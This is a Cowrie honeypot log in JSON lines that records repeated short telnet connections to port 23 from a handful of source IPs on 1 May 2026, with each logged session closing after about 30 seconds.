{"eventid":"cowrie.session.closed","duration":31.333439350128174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:33.566201Z","src_ip":"147.135.136.77","session":"13c93c6a74a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84097671508789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.018018Z","src_ip":"51.79.21.139","session":"bcce1c2f5b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35688,"dst_ip":"159.203.135.109","dst_port":23,"session":"54a1992c6d39","protocol":"telnet","message":"New connection: 168.119.91.149:35688 (159.203.135.109:23) [session: 54a1992c6d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.023158Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35700,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e9205d4438","protocol":"telnet","message":"New connection: 168.119.91.149:35700 (159.203.135.109:23) [session: 88e9205d4438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.065284Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36330,"dst_ip":"159.203.135.109","dst_port":23,"session":"89a115a0b388","protocol":"telnet","message":"New connection: 51.79.21.139:36330 (159.203.135.109:23) [session: 89a115a0b388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.068994Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34858,"dst_ip":"159.203.135.109","dst_port":23,"session":"e32331aabcc4","protocol":"telnet","message":"New connection: 147.135.136.77:34858 (159.203.135.109:23) [session: e32331aabcc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.099216Z"}
{"eventid":"cowrie.session.closed","duration":30.888468265533447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.144629Z","src_ip":"37.187.24.227","session":"d84abdb3375d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36410,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf82d2018350","protocol":"telnet","message":"New connection: 51.79.21.139:36410 (159.203.135.109:23) [session: cf82d2018350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.458173Z"}
{"eventid":"cowrie.session.closed","duration":30.560259342193604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.529096Z","src_ip":"168.119.91.149","session":"ece4f68f33ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35716,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed4e706fb47c","protocol":"telnet","message":"New connection: 168.119.91.149:35716 (159.203.135.109:23) [session: ed4e706fb47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.677994Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34910,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd92a5fc2851","protocol":"telnet","message":"New connection: 147.135.136.77:34910 (159.203.135.109:23) [session: cd92a5fc2851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.750923Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35740,"dst_ip":"159.203.135.109","dst_port":23,"session":"9356f9347a3b","protocol":"telnet","message":"New connection: 168.119.91.149:35740 (159.203.135.109:23) [session: 9356f9347a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:34.869979Z"}
{"eventid":"cowrie.session.closed","duration":30.614317655563354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.047804Z","src_ip":"51.79.21.139","session":"d3b2f7668efa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34940,"dst_ip":"159.203.135.109","dst_port":23,"session":"4566f777986a","protocol":"telnet","message":"New connection: 147.135.136.77:34940 (159.203.135.109:23) [session: 4566f777986a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.104879Z"}
{"eventid":"cowrie.session.closed","duration":30.44408631324768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.112815Z","src_ip":"81.30.157.18","session":"45cdaea306c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59468,"dst_ip":"159.203.135.109","dst_port":23,"session":"055345cdec41","protocol":"telnet","message":"New connection: 81.30.157.18:59468 (159.203.135.109:23) [session: 055345cdec41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.470326Z"}
{"eventid":"cowrie.session.closed","duration":30.780070066452026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.501622Z","src_ip":"168.119.91.149","session":"5920e0ab76a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68303894996643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.522477Z","src_ip":"147.135.136.77","session":"8582757c1636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34894,"dst_ip":"159.203.135.109","dst_port":23,"session":"265718242a8e","protocol":"telnet","message":"New connection: 147.135.136.77:34894 (159.203.135.109:23) [session: 265718242a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.660125Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":34900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4606bfa948f3","protocol":"telnet","message":"New connection: 147.135.136.77:34900 (159.203.135.109:23) [session: 4606bfa948f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:35.691101Z"}
{"eventid":"cowrie.session.closed","duration":30.6318097114563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.064667Z","src_ip":"37.187.24.227","session":"32c058f6fe7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753097534179688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.077254Z","src_ip":"147.135.136.77","session":"5697bca8ab7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59482,"dst_ip":"159.203.135.109","dst_port":23,"session":"681f079fe68c","protocol":"telnet","message":"New connection: 81.30.157.18:59482 (159.203.135.109:23) [session: 681f079fe68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.082755Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36420,"dst_ip":"159.203.135.109","dst_port":23,"session":"f459f0bcac14","protocol":"telnet","message":"New connection: 51.79.21.139:36420 (159.203.135.109:23) [session: f459f0bcac14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.089666Z"}
{"eventid":"cowrie.session.closed","duration":30.50144863128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.093517Z","src_ip":"147.135.136.77","session":"addda8fc6c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":38102,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a8d82942cc","protocol":"telnet","message":"New connection: 37.187.24.227:38102 (159.203.135.109:23) [session: 12a8d82942cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.245587Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39700,"dst_ip":"159.203.135.109","dst_port":23,"session":"77d880e52928","protocol":"telnet","message":"New connection: 147.135.136.77:39700 (159.203.135.109:23) [session: 77d880e52928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.302947Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35758,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0eb8c246833","protocol":"telnet","message":"New connection: 168.119.91.149:35758 (159.203.135.109:23) [session: b0eb8c246833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.306748Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39712,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc148e3b3690","protocol":"telnet","message":"New connection: 147.135.136.77:39712 (159.203.135.109:23) [session: cc148e3b3690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.467127Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"d16ac2774736","protocol":"telnet","message":"New connection: 147.135.136.77:39724 (159.203.135.109:23) [session: d16ac2774736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.557615Z"}
{"eventid":"cowrie.session.closed","duration":31.434591054916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:36.719044Z","src_ip":"81.30.157.18","session":"70c13edf88c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645569324493408,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.047228Z","src_ip":"147.135.136.77","session":"463009c4e373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36434,"dst_ip":"159.203.135.109","dst_port":23,"session":"36181319d381","protocol":"telnet","message":"New connection: 51.79.21.139:36434 (159.203.135.109:23) [session: 36181319d381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.115061Z"}
{"eventid":"cowrie.session.closed","duration":30.253739833831787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.156790Z","src_ip":"147.135.136.77","session":"0f137344e52f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916946172714233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.180203Z","src_ip":"37.187.24.227","session":"9c59abcde52f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005035400390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.207431Z","src_ip":"51.79.21.139","session":"0671fd4c1dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545023918151855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.214303Z","src_ip":"51.79.21.139","session":"b7d8d99074e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.570327043533325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.254368Z","src_ip":"168.119.91.149","session":"284c8d9b5a1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36514,"dst_ip":"159.203.135.109","dst_port":23,"session":"82cd49e9081c","protocol":"telnet","message":"New connection: 51.79.21.139:36514 (159.203.135.109:23) [session: 82cd49e9081c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.359401Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36530,"dst_ip":"159.203.135.109","dst_port":23,"session":"32be7f170a6d","protocol":"telnet","message":"New connection: 51.79.21.139:36530 (159.203.135.109:23) [session: 32be7f170a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.416557Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59484,"dst_ip":"159.203.135.109","dst_port":23,"session":"9126b30497b5","protocol":"telnet","message":"New connection: 81.30.157.18:59484 (159.203.135.109:23) [session: 9126b30497b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.511203Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58872,"dst_ip":"159.203.135.109","dst_port":23,"session":"cab07b2fd7a4","protocol":"telnet","message":"New connection: 149.102.133.101:58872 (159.203.135.109:23) [session: cab07b2fd7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:37.656514Z"}
{"eventid":"cowrie.session.closed","duration":30.6327965259552,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.018995Z","src_ip":"51.79.21.139","session":"1ed759649e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847445964813232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.046294Z","src_ip":"37.187.24.227","session":"5074855983e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739943504333496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.067902Z","src_ip":"37.187.24.227","session":"a9b328146577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35798,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0a1140bf3d4","protocol":"telnet","message":"New connection: 168.119.91.149:35798 (159.203.135.109:23) [session: d0a1140bf3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.072895Z"}
{"eventid":"cowrie.session.closed","duration":31.29867649078369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.080668Z","src_ip":"147.135.136.77","session":"4a581dbdde07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59518,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e00ea957b8e","protocol":"telnet","message":"New connection: 81.30.157.18:59518 (159.203.135.109:23) [session: 9e00ea957b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.175949Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59522,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbfb55411c5","protocol":"telnet","message":"New connection: 81.30.157.18:59522 (159.203.135.109:23) [session: bfbfb55411c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.179933Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c71c70c43462","protocol":"telnet","message":"New connection: 147.135.136.77:39766 (159.203.135.109:23) [session: c71c70c43462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:38.636432Z"}
{"eventid":"cowrie.session.closed","duration":30.358667612075806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.031306Z","src_ip":"51.79.21.139","session":"06628a30d914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87716507911682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.043035Z","src_ip":"147.135.136.77","session":"ac9b8df8b865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36536,"dst_ip":"159.203.135.109","dst_port":23,"session":"d847b5114d6e","protocol":"telnet","message":"New connection: 51.79.21.139:36536 (159.203.135.109:23) [session: d847b5114d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.048532Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39772,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cb3bc2cc560","protocol":"telnet","message":"New connection: 147.135.136.77:39772 (159.203.135.109:23) [session: 5cb3bc2cc560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.068720Z"}
{"eventid":"cowrie.session.closed","duration":31.105797290802002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.105306Z","src_ip":"147.135.136.77","session":"70d450ab2071","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":58888,"dst_ip":"159.203.135.109","dst_port":23,"session":"441df9a993bb","protocol":"telnet","message":"New connection: 149.102.133.101:58888 (159.203.135.109:23) [session: 441df9a993bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.231817Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":44870,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc07ad5e6d3","protocol":"telnet","message":"New connection: 37.187.24.227:44870 (159.203.135.109:23) [session: afc07ad5e6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.236084Z"}
{"eventid":"cowrie.session.closed","duration":30.78953218460083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.476194Z","src_ip":"168.119.91.149","session":"30b412fb7d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39774,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c83b2530ca4","protocol":"telnet","message":"New connection: 147.135.136.77:39774 (159.203.135.109:23) [session: 7c83b2530ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.587199Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39784,"dst_ip":"159.203.135.109","dst_port":23,"session":"760eb9c98268","protocol":"telnet","message":"New connection: 147.135.136.77:39784 (159.203.135.109:23) [session: 760eb9c98268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:39.802886Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34270,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdaf4df6af2b","protocol":"telnet","message":"New connection: 168.119.91.149:34270 (159.203.135.109:23) [session: fdaf4df6af2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.013332Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":56650,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c9bcbfb390","protocol":"telnet","message":"New connection: 173.249.44.46:56650 (159.203.135.109:23) [session: f4c9bcbfb390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.026735Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36540,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a761428b3f","protocol":"telnet","message":"New connection: 51.79.21.139:36540 (159.203.135.109:23) [session: 04a761428b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.061128Z"}
{"eventid":"cowrie.session.closed","duration":30.582008123397827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.065501Z","src_ip":"51.79.21.139","session":"7b84362ddea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975714206695557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.076069Z","src_ip":"51.79.21.139","session":"be6b51a97b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405572652816772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.094971Z","src_ip":"147.135.136.77","session":"b5b03f6e09f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.216923236846924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.100339Z","src_ip":"81.30.157.18","session":"6751c43ccdf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ecac761cfbe","protocol":"telnet","message":"New connection: 147.135.136.77:39796 (159.203.135.109:23) [session: 2ecac761cfbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.138991Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac034702b836","protocol":"telnet","message":"New connection: 147.135.136.77:39812 (159.203.135.109:23) [session: ac034702b836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.440631Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":57250,"dst_ip":"159.203.135.109","dst_port":23,"session":"adc268494e38","protocol":"telnet","message":"New connection: 46.101.32.143:57250 (159.203.135.109:23) [session: adc268494e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.479084Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36606,"dst_ip":"159.203.135.109","dst_port":23,"session":"50daff114a8b","protocol":"telnet","message":"New connection: 51.79.21.139:36606 (159.203.135.109:23) [session: 50daff114a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:40.944137Z"}
{"eventid":"cowrie.session.closed","duration":31.071815013885498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.048373Z","src_ip":"147.135.136.77","session":"a512008434cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":36618,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7a83acb309","protocol":"telnet","message":"New connection: 51.79.21.139:36618 (159.203.135.109:23) [session: 5e7a83acb309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.118526Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34320,"dst_ip":"159.203.135.109","dst_port":23,"session":"13286c6c795c","protocol":"telnet","message":"New connection: 168.119.91.149:34320 (159.203.135.109:23) [session: 13286c6c795c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.191902Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59604,"dst_ip":"159.203.135.109","dst_port":23,"session":"858c31049cbc","protocol":"telnet","message":"New connection: 81.30.157.18:59604 (159.203.135.109:23) [session: 858c31049cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.197829Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59620,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a78eaab42e","protocol":"telnet","message":"New connection: 81.30.157.18:59620 (159.203.135.109:23) [session: 86a78eaab42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.412110Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34352,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f085422e48f","protocol":"telnet","message":"New connection: 168.119.91.149:34352 (159.203.135.109:23) [session: 9f085422e48f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.595724Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39838,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6dec7621505","protocol":"telnet","message":"New connection: 147.135.136.77:39838 (159.203.135.109:23) [session: d6dec7621505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:41.650251Z"}
{"eventid":"cowrie.session.closed","duration":30.90710139274597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.041018Z","src_ip":"147.135.136.77","session":"c53dddde47ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.795616149902344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:42.054202Z","src_ip":"147.135.136.77","session":"c331328a6c0a","protocol":"telnet"}
